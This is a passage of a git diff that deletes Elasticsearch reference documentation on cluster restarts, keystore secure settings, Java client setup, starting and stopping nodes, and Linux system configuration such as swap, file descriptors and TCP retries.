-As soon as enough master-eligible nodes have discovered each other, they form a
-cluster and elect a master. At that point, you can use
-the <<cat-health, cat health>> and <<cat-nodes,cat nodes>> APIs to monitor nodes
-joining the cluster:
-
-[source,console]
---------------------------------------------------
-GET _cat/health
-
-GET _cat/nodes
---------------------------------------------------
-// TEST[continued]
-
-The `status` column returned by `_cat/health` shows the health of each node
-in the cluster: `red`, `yellow`, or `green`.
---
-
-. *Wait for all nodes to join the cluster and report a status of yellow.*
-+
---
-When a node joins the cluster, it begins to recover any primary shards that
-are stored locally. The <<cat-health,`_cat/health`>> API initially reports
-a `status` of `red`, indicating that not all primary shards have been allocated.
-
-Once a node recovers its local shards, the cluster `status` switches to 
-`yellow`, indicating that all primary shards have been recovered, but not all 
-replica shards are allocated. This is to be expected because you have not yet
-re-enabled allocation. Delaying the allocation of replicas until all nodes
-are `yellow` allows the master to allocate replicas to nodes that
-already have local shard copies.
---
-
-. *Re-enable allocation.*
-+
---
-When all nodes have joined the cluster and recovered their primary shards,
-re-enable allocation by restoring `cluster.routing.allocation.enable` to its
-default:
-
-[source,console]
-------------------------------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster.routing.allocation.enable": null
-  }
-}
-------------------------------------------------------
-// TEST[continued]
-
-Once allocation is re-enabled, the cluster starts allocating replica shards to
-the data nodes. At this point it is safe to resume indexing and searching,
-but your cluster will recover more quickly if you can wait until all primary
-and replica shards have been successfully allocated and the status of all nodes
-is `green`.
-
-You can monitor progress with the <<cat-health,`_cat/health`>> and
-<<cat-recovery,`_cat/recovery`>> APIs:
-
-[source,console]
---------------------------------------------------
-GET _cat/health
-
-GET _cat/recovery
---------------------------------------------------
-// TEST[continued]
---
-// tag::restart_ml[]
-. *Restart machine learning jobs.* (Optional)
-+
---
-If you temporarily halted the tasks associated with your {ml} jobs, use the 
-<<ml-set-upgrade-mode,set upgrade mode API>> to return them to active states:
-
-[source,console]
---------------------------------------------------
-POST _ml/set_upgrade_mode?enabled=false
---------------------------------------------------
-// TEST[continued]
-
-If you closed all {ml} jobs before stopping the nodes, open the jobs and start 
-the datafeeds from {kib} or with the <<ml-open-job,open jobs>> and
-<<ml-start-datafeed,start datafeed>> APIs.
---
-// end::restart_ml[]
-
-
-[discrete]
-[[restart-cluster-rolling]]
-=== Rolling restart
-
-
-include::{es-repo-dir}/setup/restart-cluster.asciidoc[tag=disable_shard_alloc]
-
-include::{es-repo-dir}/setup/restart-cluster.asciidoc[tag=stop_indexing]
-
-include::{es-repo-dir}/setup/restart-cluster.asciidoc[tag=stop_ml]
-+
---
-* If you perform a rolling restart, you can also leave your machine learning 
-jobs running. When you shut down a machine learning node, its jobs automatically 
-move to another node and restore the model states. This option enables your jobs 
-to continue running during the shutdown but it puts increased load on the 
-cluster.
---
-
-. *Shut down a single node in case of rolling restart.*
-+
---
-include::{es-repo-dir}/upgrade/shut-down-node.asciidoc[]
---
-
-. *Perform any needed changes.*
- 
-. *Restart the node you changed.*
-+
---
-Start the node and confirm that it joins the cluster by checking the log file or 
-by submitting a `_cat/nodes` request:
-
-[source,console]
---------------------------------------------------
-GET _cat/nodes
---------------------------------------------------
-// TEST[continued]
---
-
-. *Reenable shard allocation.*
-+
---
-Once the node has joined the cluster, remove the 
-`cluster.routing.allocation.enable` setting to enable shard allocation and start 
-using the node:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster.routing.allocation.enable": null
-  }
-}
---------------------------------------------------
-// TEST[continued]
---
-
-. *Repeat in case of rolling restart.*
-+
---
-When the node has recovered and the cluster is stable, repeat these steps
-for each node that needs to be changed.
---
-
-include::{es-repo-dir}/setup/restart-cluster.asciidoc[tag=restart_ml]
diff --git a/docs/reference/setup/secure-settings.asciidoc b/docs/reference/setup/secure-settings.asciidoc
deleted file mode 100644
index a9eead0c0c9..00000000000
--- a/docs/reference/setup/secure-settings.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[[secure-settings]]
-=== Secure settings
-
-Some settings are sensitive, and relying on filesystem permissions to protect
-their values is not sufficient. For this use case, {es} provides a
-keystore and the <<elasticsearch-keystore,`elasticsearch-keystore` tool>> to
-manage the settings in the keystore.
-
-IMPORTANT: Only some settings are designed to be read from the keystore. However,
-the keystore has no validation to block unsupported settings. Adding unsupported
-settings to the keystore causes {es} to fail to start. To see whether a setting
-is supported in the keystore, look for a "Secure" qualifier the setting
-reference.
-
-All the modifications to the keystore take effect only after restarting {es}.
-
-These settings, just like the regular ones in the `elasticsearch.yml` config file,
-need to be specified on each node in the cluster. Currently, all secure settings
-are node-specific settings that must have the same value on every node.
-
-[discrete]
-[[reloadable-secure-settings]]
-=== Reloadable secure settings
-
-Just like the settings values in `elasticsearch.yml`, changes to the keystore
-contents are not automatically applied to the running {es} node. Re-reading
-settings requires a node restart. However, certain secure settings are marked as
-*reloadable*. Such settings can be <<cluster-nodes-reload-secure-settings, re-read and applied on a running node>>.
-
-The values of all secure settings, *reloadable* or not, must be identical
-across all cluster nodes. After making the desired secure settings changes,
-using the `bin/elasticsearch-keystore add` command, call:
-
-[source,console]
-----
-POST _nodes/reload_secure_settings
-{
-  "secure_settings_password": "s3cr3t" <1>
-}
-----
-// NOTCONSOLE
-
-<1> The password that the {es} keystore is encrypted with.
-
-This API decrypts and re-reads the entire keystore, on every cluster node,
-but only the *reloadable* secure settings are applied. Changes to other
-settings do not go into effect until the next restart. Once the call returns,
-the reload has been completed, meaning that all internal data structures
-dependent on these settings have been changed. Everything should look as if the
-settings had the new value from the start.
-
-When changing multiple *reloadable* secure settings, modify all of them on each
-cluster node, then issue a <<cluster-nodes-reload-secure-settings, `reload_secure_settings`>>
-call instead of reloading after each modification.
-
-There are reloadable secure settings for:
-
-* {plugins}/repository-azure-client-settings.html[The Azure repository plugin]
-* {plugins}/discovery-ec2-usage.html#_configuring_ec2_discovery[The EC2 discovery plugin]
-* {plugins}/repository-gcs-client.html[The GCS repository plugin]
-* {plugins}/repository-s3-client.html[The S3 repository plugin]
-* <<monitoring-settings>>
-* <<notification-settings>>
diff --git a/docs/reference/setup/setup-xclient.asciidoc b/docs/reference/setup/setup-xclient.asciidoc
deleted file mode 100644
index 154dd353d1d..00000000000
--- a/docs/reference/setup/setup-xclient.asciidoc
+++ /dev/null
@@ -1,116 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[setup-xpack-client]]
-== Configuring {xpack} Java Clients
-
-deprecated[7.0.0, The `TransportClient` is deprecated in favour of the {java-rest}/java-rest-high.html[Java High Level REST Client] and will be removed in Elasticsearch 8.0. The {java-rest}/java-rest-high-level-migration.html[migration guide] describes all the steps needed to migrate.]
-
-If you want to use a Java {javaclient}/transport-client.html[transport client] with a
-cluster where {xpack} is installed, then you must download and configure the
-{xpack} transport client.
-
-. Add the {xpack} transport JAR file to your *CLASSPATH*. You can download the {xpack}
-distribution and extract the JAR file manually or you can get it from the
-https://artifacts.elastic.co/maven/org/elasticsearch/client/x-pack-transport/{version}/x-pack-transport-{version}.jar[Elasticsearch Maven repository].
-As with any dependency, you will also need its transitive dependencies. Refer to the
-https://artifacts.elastic.co/maven/org/elasticsearch/client/x-pack-transport/{version}/x-pack-transport-{version}.pom[X-Pack POM file
-for your version] when downloading for offline usage.
-
-. If you are using Maven, you need to add the {xpack} JAR file as a dependency in
-your project's `pom.xml` file:
-+
---
-[source,xml]
---------------------------------------------------------------
-<project ...>
-     <repositories>
-     <!-- add the elasticsearch repo -->
-      <repository>
-         <id>elasticsearch-releases</id>
-         <url>https://artifacts.elastic.co/maven</url>
-         <releases>
-          <enabled>true</enabled>
-         </releases>
-         <snapshots>
-            <enabled>false</enabled>
-         </snapshots>
-      </repository>
-      ...
-   </repositories>
-   ...
-
-   <dependencies>
-      <!-- add the x-pack jar as a dependency -->
-      <dependency>
-         <groupId>org.elasticsearch.client</groupId>
-         <artifactId>x-pack-transport</artifactId>
-              <version>{version}</version>
-      </dependency>
-      ...
-   </dependencies>
-   ...
-
-</project>
---------------------------------------------------------------
---
-
-. If you are using Gradle, you need to add the {xpack} JAR file as a dependency in
-your `build.gradle` file:
-+
---
-[source,groovy]
---------------------------------------------------------------
-repositories {
-  /* ... Any other repositories ... */
-
-  // Add the Elasticsearch Maven Repository
-  maven {
-    name "elastic"
-    url "https://artifacts.elastic.co/maven"
-  }
-}
-
-dependencies {
-  compile "org.elasticsearch.client:x-pack-transport:{version}"
-
-  /* ... */
-}
---------------------------------------------------------------
---
-
-. If you are using a repository manager such as https://www.sonatype.com/nexus-repository-oss[Nexus OSS] within your
-company, you need to add the repository as per the following screenshot:
-+
---
-image::security/images/nexus.png["Adding the Elastic repo in Nexus",link="images/nexus.png"]
-
-Then in your project's `pom.xml` if using maven, add the following repositories and dependencies definitions:
-
-[source,xml]
---------------------------------------------------------------
-<dependencies>
-    <dependency>
-        <groupId>org.elasticsearch.client</groupId>
-        <artifactId>x-pack-transport</artifactId>
-        <version>{version}</version>
-    </dependency>
-</dependencies>
-
-<repositories>
-    <repository>
-        <id>local-nexus</id>
-        <name>Elastic Local Nexus</name>
-        <url>http://0.0.0.0:8081/repository/elasticsearch/</url>
-        <releases>
-            <enabled>true</enabled>
-        </releases>
-        <snapshots>
-            <enabled>false</enabled>
-        </snapshots>
-    </repository>
-  </repositories>
---------------------------------------------------------------
---
-
-. If you are using {stack} {security-features}, there are more configuration
-steps. See {ref}/java-clients.html[Java Client and security].
diff --git a/docs/reference/setup/setup-xes.asciidoc b/docs/reference/setup/setup-xes.asciidoc
deleted file mode 100644
index de2feadcfe7..00000000000
--- a/docs/reference/setup/setup-xes.asciidoc
+++ /dev/null
@@ -1,18 +0,0 @@
-[role="xpack"]
-[[setup-xpack]]
-== Set up {xpack}
-
-{xpack} is an Elastic Stack extension that provides security, alerting,
-monitoring, reporting, machine learning, and many other capabilities. By default, 
-when you install {es}, {xpack} is installed. 
- 	 
-If you want to try all of the {xpack} features, you can 
-{kibana-ref}/managing-licenses.html[start a 30-day trial]. At the end of the 
-trial period, you can purchase a subscription to keep using the full 
-functionality of the {xpack} components. For more information, see 
-https://www.elastic.co/subscriptions.
-
-* <<configuring-monitoring>>
-* <<configuring-security>>
-* <<setup-xpack-client>>
-* <<bootstrap-checks-xpack>>
diff --git a/docs/reference/setup/starting.asciidoc b/docs/reference/setup/starting.asciidoc
deleted file mode 100644
index 9ad6963c492..00000000000
--- a/docs/reference/setup/starting.asciidoc
+++ /dev/null
@@ -1,76 +0,0 @@
-[[starting-elasticsearch]]
-== Starting Elasticsearch
-
-The method for starting {es} varies depending on how you installed it. 
-
-[discrete]
-[[start-targz]]
-=== Archive packages (`.tar.gz`)
-
-If you installed {es} with a `.tar.gz` package, you can start {es} from the 
-command line.  
-
-[discrete]
-include::install/targz-start.asciidoc[]
-
-[discrete]
-include::install/targz-daemon.asciidoc[]
-
-[discrete]
-[[start-zip]]
-=== Archive packages (`.zip`)
-
-If you installed {es} on Windows with a `.zip` package, you can start {es} from 
-the command line. If you want {es} to start automatically at boot time without 
-any user interaction, <<windows-service,install {es} as a service>>.
-
-[discrete]
-include::install/zip-windows-start.asciidoc[]
-
-[discrete]
-[[start-deb]]
-=== Debian packages
-
-include::install/init-systemd.asciidoc[]
-
-[discrete]
-[[start-es-deb-init]]
-include::install/deb-init.asciidoc[]
-
-[discrete]
-[[start-es-deb-systemd]]
-include::install/systemd.asciidoc[]
-
-[discrete]
-[[start-docker]]
-=== Docker images
-
-If you installed a Docker image, you can start {es} from the command line. There 
-are different methods depending on whether you're using development mode or 
-production mode. See <<docker-cli-run>>. 
-
-[discrete]
-[[start-msi]]
-=== MSI packages
-
-If you installed {es} on Windows using the `.msi` package, you can start {es} 
-from the command line. If you want it to start automatically at boot time 
-without any user interaction, 
-<<msi-installer-windows-service,install {es} as a Windows service>>.
-
-[discrete]
-include::install/msi-windows-start.asciidoc[]
-
-[discrete]
-[[start-rpm]]
-=== RPM packages
-
-include::install/init-systemd.asciidoc[]
-
-[discrete]
-[[start-es-rpm-init]]
-include::install/rpm-init.asciidoc[]
-
-[discrete]
-[[start-es-rpm-systemd]]
-include::install/systemd.asciidoc[]
diff --git a/docs/reference/setup/stopping.asciidoc b/docs/reference/setup/stopping.asciidoc
deleted file mode 100644
index 8c3a8d40fa1..00000000000
--- a/docs/reference/setup/stopping.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[[stopping-elasticsearch]]
-== Stopping Elasticsearch
-
-An orderly shutdown of Elasticsearch ensures that Elasticsearch has a chance to cleanup and close
-outstanding resources. For example, a node that is shutdown in an orderly fashion will remove itself
-from the cluster, sync translogs to disk, and perform other related cleanup activities. You can help
-ensure an orderly shutdown by properly stopping Elasticsearch.
-
-If you're running Elasticsearch as a service, you can stop Elasticsearch via the service management
-functionality provided by your installation.
-
-If you're running Elasticsearch directly, you can stop Elasticsearch by sending control-C if you're
-running Elasticsearch in the console, or by sending `SIGTERM` to the Elasticsearch process on a
-POSIX system. You can obtain the PID to send the signal to via various tools (e.g., `ps` or `jps`):
-
-[source,sh]
---------------------------------------------------
-$ jps | grep Elasticsearch
-14542 Elasticsearch
---------------------------------------------------
-
-From the Elasticsearch startup logs:
-
-[source,sh]
---------------------------------------------------
-[2016-07-07 12:26:18,908][INFO ][node                     ] [I8hydUG] version[5.0.0-alpha4], pid[15399], build[3f5b994/2016-06-27T16:23:46.861Z], OS[Mac OS X/10.11.5/x86_64], JVM[Oracle Corporation/Java HotSpot(TM) 64-Bit Server VM/1.8.0_92/25.92-b14]
---------------------------------------------------
-
-Or by specifying a location to write a PID file to on startup (`-p <path>`):
-
-[source,sh]
---------------------------------------------------
-$ ./bin/elasticsearch -p /tmp/elasticsearch-pid -d
-$ cat /tmp/elasticsearch-pid && echo
-15516
-$ kill -SIGTERM 15516
---------------------------------------------------
-
-[discrete]
-[[fatal-errors]]
-=== Stopping on Fatal Errors
-
-During the life of the Elasticsearch virtual machine, certain fatal errors could arise that put the
-virtual machine in a questionable state. Such fatal errors include out of memory errors, internal
-errors in virtual machine, and serious I/O errors.
-
-When Elasticsearch detects that the virtual machine has encountered such a fatal error Elasticsearch
-will attempt to log the error and then will halt the virtual machine. When Elasticsearch initiates
-such a shutdown, it does not go through an orderly shutdown as described above. The Elasticsearch
-process will also return with a special status code indicating the nature of the error.
-
-[horizontal]
-JVM internal error:: 128
-Out of memory error:: 127
-Stack overflow error:: 126
-Unknown virtual machine error:: 125
-Serious I/O error:: 124
-Unknown fatal error:: 1
diff --git a/docs/reference/setup/sysconfig.asciidoc b/docs/reference/setup/sysconfig.asciidoc
deleted file mode 100644
index dc9072d6906..00000000000
--- a/docs/reference/setup/sysconfig.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-[[system-config]]
-== Important System Configuration
-
-Ideally, Elasticsearch should run alone on a server and use all of the
-resources available to it.  In order to do so, you need to configure your
-operating system to allow the user running Elasticsearch to access more
-resources than allowed by default.
-
-The following settings *must* be considered before going to production:
-
-* <<setup-configuration-memory,Disable swapping>>
-* <<file-descriptors,Increase file descriptors>>
-* <<vm-max-map-count,Ensure sufficient virtual memory>>
-* <<max-number-of-threads,Ensure sufficient threads>>
-* <<networkaddress-cache-ttl,JVM DNS cache settings>>
-* <<executable-jna-tmpdir,Temporary directory not mounted with `noexec`>>
-* <<system-config-tcpretries,TCP retransmission timeout>>
-
-[[dev-vs-prod]]
-[discrete]
-=== Development mode vs production mode
-
-By default, Elasticsearch assumes that you are working in development mode.
-If any of the above settings are not configured correctly, a warning will be
-written to the log file, but you will be able to start and run your
-Elasticsearch node.
-
-As soon as you configure a network setting like `network.host`, Elasticsearch
-assumes that you are moving to production and will upgrade the above warnings
-to exceptions.  These exceptions will prevent your Elasticsearch node from
-starting.  This is an important safety measure to ensure that you will not
-lose data because of a malconfigured server.
-
-include::sysconfig/configuring.asciidoc[]
-
-include::sysconfig/swap.asciidoc[]
-
-include::sysconfig/file-descriptors.asciidoc[]
-
-include::sysconfig/virtual-memory.asciidoc[]
-
-include::sysconfig/threads.asciidoc[]
-
-include::sysconfig/dns-cache.asciidoc[]
-
-include::sysconfig/executable-jna-tmpdir.asciidoc[]
-
-include::sysconfig/tcpretries.asciidoc[]
diff --git a/docs/reference/setup/sysconfig/configuring.asciidoc b/docs/reference/setup/sysconfig/configuring.asciidoc
deleted file mode 100644
index 3643a1e4702..00000000000
--- a/docs/reference/setup/sysconfig/configuring.asciidoc
+++ /dev/null
@@ -1,109 +0,0 @@
-[[setting-system-settings]]
-=== Configuring system settings
-
-Where to configure systems settings depends on which package you have used to
-install Elasticsearch, and which operating system you are using.
-
-When using the `.zip` or `.tar.gz` packages, system settings can be configured:
-
-* temporarily with <<ulimit,`ulimit`>>, or
-* permanently in <<limits.conf,`/etc/security/limits.conf`>>.
-
-When using the RPM or Debian packages, most system settings are set in the
-<<sysconfig,system configuration file>>. However, systems which use systemd
-require that system limits are specified in a
-<<systemd,systemd configuration file>>.
-
-[[ulimit]]
-==== `ulimit`
-
-On Linux systems, `ulimit` can be used to change resource limits on a
-temporary basis. Limits usually need to be set as `root` before switching to
-the user that will run Elasticsearch.  For example, to set the number of
-open file handles (`ulimit -n`) to 65,536, you can do the following:
-
-[source,sh]
---------------------------------
-sudo su  <1>
-ulimit -n 65535 <2>
-su elasticsearch <3>
---------------------------------
-<1> Become `root`.
-<2> Change the max number of open files.
-<3> Become the `elasticsearch` user in order to start Elasticsearch.
-
-The new limit is only applied during the current session.
-
-You can consult all currently applied limits with `ulimit -a`.
-
-[[limits.conf]]
-==== `/etc/security/limits.conf`
-
-On Linux systems, persistent limits can be set for a particular user by
-editing the `/etc/security/limits.conf` file. To set the maximum number of
-open files for the `elasticsearch` user to 65,535, add the following line to
-the `limits.conf` file:
-
-[source,sh]
---------------------------------
-elasticsearch  -  nofile  65535
---------------------------------
-
-This change will only take effect the next time the `elasticsearch` user opens
-a new session.
-
-[NOTE]
-.Ubuntu and `limits.conf`
-===============================
-Ubuntu ignores the `limits.conf` file for processes started by `init.d`.  To
-enable the `limits.conf` file, edit `/etc/pam.d/su` and uncomment the
-following line:
-
-[source,sh]
---------------------------------
-# session    required   pam_limits.so
---------------------------------
-===============================
-
-[[sysconfig]]
-==== Sysconfig file
-
-When using the RPM or Debian packages, system settings and environment
-variables can be specified in the system configuration file, which is located
-in:
-
-[horizontal]
-RPM::     `/etc/sysconfig/elasticsearch`
-Debian::  `/etc/default/elasticsearch`
-
-However, for systems which uses `systemd`, system limits need to be specified
-via <<systemd,systemd>>.
-
-[[systemd]]
-==== Systemd configuration
-
-When using the RPM or Debian packages on systems that use
-{wikipedia}/Systemd[systemd], system limits must be
-specified via systemd.
-
-The systemd service file (`/usr/lib/systemd/system/elasticsearch.service`)
-contains the limits that are applied by default.
-
-To override them, add a file called
-`/etc/systemd/system/elasticsearch.service.d/override.conf` (alternatively,
-you may run `sudo systemctl edit elasticsearch` which opens the file 
-automatically inside your default editor). Set any changes in this file,
-such as:
-
-[source,sh]
----------------------------------
-[Service]
-LimitMEMLOCK=infinity
----------------------------------
-
-Once finished, run the following command to reload units:
-
-[source,sh]
----------------------------------
-sudo systemctl daemon-reload
----------------------------------
diff --git a/docs/reference/setup/sysconfig/dns-cache.asciidoc b/docs/reference/setup/sysconfig/dns-cache.asciidoc
deleted file mode 100644
index 94c469c978c..00000000000
--- a/docs/reference/setup/sysconfig/dns-cache.asciidoc
+++ /dev/null
@@ -1,19 +0,0 @@
-[[networkaddress-cache-ttl]]
-=== DNS cache settings
-
-Elasticsearch runs with a security manager in place. With a security manager in
-place, the JVM defaults to caching positive hostname resolutions indefinitely
-and defaults to caching negative hostname resolutions for ten
-seconds. Elasticsearch overrides this behavior with default values to cache
-positive lookups for sixty seconds, and to cache negative lookups for ten
-seconds. These values should be suitable for most environments, including
-environments where DNS resolutions vary with time. If not, you can edit the
-values `es.networkaddress.cache.ttl` and `es.networkaddress.cache.negative.ttl`
-in the <<jvm-options,JVM options>>. Note that the values
-https://docs.oracle.com/javase/8/docs/technotes/guides/net/properties.html[`networkaddress.cache.ttl=<timeout>`]
-and
-https://docs.oracle.com/javase/8/docs/technotes/guides/net/properties.html[`networkaddress.cache.negative.ttl=<timeout>`]
-in the
-https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html[Java
-security policy] are ignored by Elasticsearch unless you remove the settings for
-`es.networkaddress.cache.ttl` and `es.networkaddress.cache.negative.ttl`.
diff --git a/docs/reference/setup/sysconfig/executable-jna-tmpdir.asciidoc b/docs/reference/setup/sysconfig/executable-jna-tmpdir.asciidoc
deleted file mode 100644
index 0ede64d57b7..00000000000
--- a/docs/reference/setup/sysconfig/executable-jna-tmpdir.asciidoc
+++ /dev/null
@@ -1,24 +0,0 @@
-[[executable-jna-tmpdir]]
-=== JNA temporary directory not mounted with `noexec`
-
-[NOTE]
-This is only relevant for Linux.
-
-Elasticsearch uses the Java Native Access (JNA) library for executing some
-platform-dependent native code. On Linux, the native code backing this library
-is extracted at runtime from the JNA archive. By default, this code is extracted
-to the Elasticsearch temporary directory which defaults to a sub-directory of
-`/tmp`. Alternatively, this location can be controlled with the JVM flag
-`-Djna.tmpdir=<path>`. As the native library is mapped into the JVM virtual
-address space as executable, the underlying mount point of the location that
-this code is extracted to must *not* be mounted with `noexec` as this prevents
-the JVM process from being able to map this code as executable. On some hardened
-Linux installations this is a default mount option for `/tmp`. One indication
-that the underlying mount is mounted with `noexec` is that at startup JNA will
-fail to load with a `java.lang.UnsatisfiedLinkerError` exception with a message
-along the lines of `failed to map segment from shared object`.  Note that the
-exception message can differ amongst JVM versions. Additionally, the components
-of Elasticsearch that rely on execution of native code via JNA will fail with
-messages indicating that it is `because JNA is not available`. If you are seeing
-such error messages, you must remount the temporary directory used for JNA to
-not be mounted with `noexec`.
diff --git a/docs/reference/setup/sysconfig/file-descriptors.asciidoc b/docs/reference/setup/sysconfig/file-descriptors.asciidoc
deleted file mode 100644
index 27d330b6a54..00000000000
--- a/docs/reference/setup/sysconfig/file-descriptors.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[file-descriptors]]
-=== File Descriptors
-
-[NOTE]
-This is only relevant for Linux and macOS and can be safely ignored if running
-Elasticsearch on Windows. On Windows that JVM uses an
-https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx[API]
-limited only by available resources.
-
-Elasticsearch uses a lot of file descriptors or file handles.  Running out of
-file descriptors can be disastrous and will most probably lead to data loss.
-Make sure to increase the limit on the number of open files descriptors for
-the user running Elasticsearch to 65,536 or higher.
-
-For the `.zip` and `.tar.gz` packages, set <<ulimit,`ulimit -n 65535`>> as
-root before starting Elasticsearch,   or set `nofile` to `65535` in
-<<limits.conf,`/etc/security/limits.conf`>>.
-
-On macOS, you must also pass the JVM option `-XX:-MaxFDLimit`
-to Elasticsearch in order for it to make use of the higher file descriptor limit.
-
-RPM and Debian packages already default the maximum number of file
-descriptors to 65535 and do not require further configuration.
-
-You can check the `max_file_descriptors` configured for each node
-using the <<cluster-nodes-stats>> API, with:
-
-[source,console]
---------------------------------------------------
-GET _nodes/stats/process?filter_path=**.max_file_descriptors
---------------------------------------------------
diff --git a/docs/reference/setup/sysconfig/swap.asciidoc b/docs/reference/setup/sysconfig/swap.asciidoc
deleted file mode 100644
index ab747b25d4c..00000000000
--- a/docs/reference/setup/sysconfig/swap.asciidoc
+++ /dev/null
@@ -1,121 +0,0 @@
-[[setup-configuration-memory]]
-=== Disable swapping
-
-Most operating systems try to use as much memory as possible for file system
-caches and eagerly swap out unused application memory. This can result in parts
-of the JVM heap or even its executable pages being swapped out to disk.
-
-Swapping is very bad for performance, for node stability, and should be avoided
-at all costs. It can cause garbage collections to last for **minutes** instead
-of milliseconds and can cause nodes to respond slowly or even to disconnect
-from the cluster. In a resilient distributed system, it's more effective to let
-the operating system kill the node.
-
-There are three approaches to disabling swapping. The preferred option is to
-completely disable swap. If this is not an option, whether or not to prefer
-minimizing swappiness versus memory locking is dependent on your environment.
-
-[[disable-swap-files]]
-==== Disable all swap files
-
-Usually Elasticsearch is the only service running on a box, and its memory usage
-is controlled by the JVM options. There should be no need to have swap enabled.
-
-On Linux systems, you can disable swap temporarily by running:
-
-[source,sh]
---------------
-sudo swapoff -a
---------------
-
-This doesn't require a restart of Elasticsearch.
-
-To disable it permanently, you will need to edit the `/etc/fstab` file and
-comment out any lines that contain the word `swap`.
-
-On Windows, the equivalent can be achieved by disabling the paging file entirely
-via `System Properties → Advanced → Performance → Advanced → Virtual memory`.
-
-[[swappiness]]
-==== Configure `swappiness`
-
-Another option available on Linux systems is to ensure that the sysctl value
-`vm.swappiness` is set to `1`. This reduces the kernel's tendency to swap and
-should not lead to swapping under normal circumstances, while still allowing the
-whole system to swap in emergency conditions.
-
-[[bootstrap-memory_lock]]
-==== Enable `bootstrap.memory_lock`
-
-Another option is to use
-http://opengroup.org/onlinepubs/007908799/xsh/mlockall.html[mlockall] on
-Linux/Unix systems, or
-https://msdn.microsoft.com/en-us/library/windows/desktop/aa366895%28v=vs.85%29.aspx[VirtualLock]
-on Windows, to try to lock the process address space into RAM, preventing any
-{es} heap memory from being swapped out.
-
-NOTE: Some platforms still swap off-heap memory when using a memory lock. To
-prevent off-heap memory swaps, <<disable-swap-files,disable all swap files>>
-instead.
-
-To enable a memory lock, set `bootstrap.memory_lock` to `true` in
-`elasticsearch.yml`:
-
-[source,yaml]
---------------
-bootstrap.memory_lock: true
---------------
-
-WARNING: `mlockall` might cause the JVM or shell session to exit if it tries to
-allocate more memory than is available!
-
-After starting Elasticsearch, you can see whether this setting was applied
-successfully by checking the value of `mlockall` in the output from this
-request:
-
-[source,console]
---------------
-GET _nodes?filter_path=**.mlockall
---------------
-
-If you see that `mlockall` is `false`, then it means that the `mlockall`
-request has failed.  You will also see a line with more information in the logs
-with the words `Unable to lock JVM Memory`.
-
-The most probable reason, on Linux/Unix systems, is that the user running
-Elasticsearch doesn't have permission to lock memory.  This can be granted as
-follows:
-
-`.zip` and `.tar.gz`::
-Set <<ulimit,`ulimit -l unlimited`>> as root before starting {es}.
-Alternatively, set `memlock` to `unlimited` in `/etc/security/limits.conf`:
-+
-[source,sh]
-----
-# allow user 'elasticsearch' mlockall
-elasticsearch soft memlock unlimited
-elasticsearch hard memlock unlimited
-----
-
-RPM and Debian::
-
-  Set `MAX_LOCKED_MEMORY` to `unlimited` in the
-  <<sysconfig,system configuration file>> (or see below for systems using
-  `systemd`).
-
-Systems using `systemd`::
-
-  Set `LimitMEMLOCK` to `infinity` in the <<systemd,systemd configuration>>.
-
-Another possible reason why `mlockall` can fail is that
-<<executable-jna-tmpdir,the JNA temporary directory (usually a sub-directory of
-`/tmp`) is mounted with the `noexec` option>>. This can be solved by specifying
-a new temporary directory for JNA using the `ES_JAVA_OPTS` environment variable:
-
-[source,sh]
---------------
-export ES_JAVA_OPTS="$ES_JAVA_OPTS -Djna.tmpdir=<path>"
-./bin/elasticsearch
---------------
-
-or setting this JVM flag in the jvm.options configuration file.
diff --git a/docs/reference/setup/sysconfig/tcpretries.asciidoc b/docs/reference/setup/sysconfig/tcpretries.asciidoc
deleted file mode 100644
index e25c07c388a..00000000000
--- a/docs/reference/setup/sysconfig/tcpretries.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[[system-config-tcpretries]]
-=== TCP retransmission timeout
-
-Each pair of nodes in a cluster communicates via a number of TCP connections
-which <<long-lived-connections,remain open>> until one of the nodes shuts down
-or communication between the nodes is disrupted by a failure in the underlying
-infrastructure.
-
-TCP provides reliable communication over occasionally-unreliable networks by
-hiding temporary network disruptions from the communicating applications. Your
-operating system will retransmit any lost messages a number of times before
-informing the sender of any problem. Most Linux distributions default to
-retransmitting any lost packets 15 times. Retransmissions back off
-exponentially, so these 15 retransmissions take over 900 seconds to complete.
-This means it takes Linux many minutes to detect a network partition or a
-failed node with this method. Windows defaults to just 5 retransmissions which
-corresponds with a timeout of around 6 seconds.
-
-The Linux default allows for communication over networks that may experience
-very long periods of packet loss, but this default is excessive for production
-networks within a single data centre as is the case for most {es} clusters.
-Highly-available clusters must be able to detect node failures quickly so that
-they can react promptly by reallocating lost shards, rerouting searches and
-perhaps electing a new master node. Linux users should therefore reduce the
-maximum number of TCP retransmissions.
-
-You can decrease the maximum number of TCP retransmissions to `5` by running
-the following command as `root`. Five retransmissions corresponds with a
-timeout of around six seconds.
-
-[source,sh]
--------------------------------------
-sysctl -w net.ipv4.tcp_retries2=5
--------------------------------------
-
-To set this value permanently, update the `net.ipv4.tcp_retries2` setting in
-`/etc/sysctl.conf`. To verify after rebooting, run
-`sysctl net.ipv4.tcp_retries2`.
-
-IMPORTANT: This setting applies to all TCP connections and will affect the
-reliability of communication with systems outside your cluster too. If your
-cluster communicates with external systems over an unreliable network then you
-may need to select a higher value for `net.ipv4.tcp_retries2`. For this reason,
-{es} does not adjust this setting automatically.
-
-==== Related configuration
-
-{es} also implements its own internal health checks with timeouts that are much
-shorter than the default retransmission timeout on Linux. Since these are
-application-level health checks their timeouts must allow for application-level
-effects such as garbage collection pauses. You should not reduce any timeouts
-related to these application-level health checks.
-
-You must also ensure your network infrastructure does not interfere with the
-long-lived connections between nodes, <<long-lived-connections,even if those
-connections appear to be idle>>. Devices which drop connections when they reach
-a certain age are a common source of problems to Elasticsearch clusters, and
-must not be used.
-
diff --git a/docs/reference/setup/sysconfig/threads.asciidoc b/docs/reference/setup/sysconfig/threads.asciidoc
deleted file mode 100644
index 0f6f1b31ece..00000000000
--- a/docs/reference/setup/sysconfig/threads.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[[max-number-of-threads]]
-=== Number of threads
-
-Elasticsearch uses a number of thread pools for different types of operations.
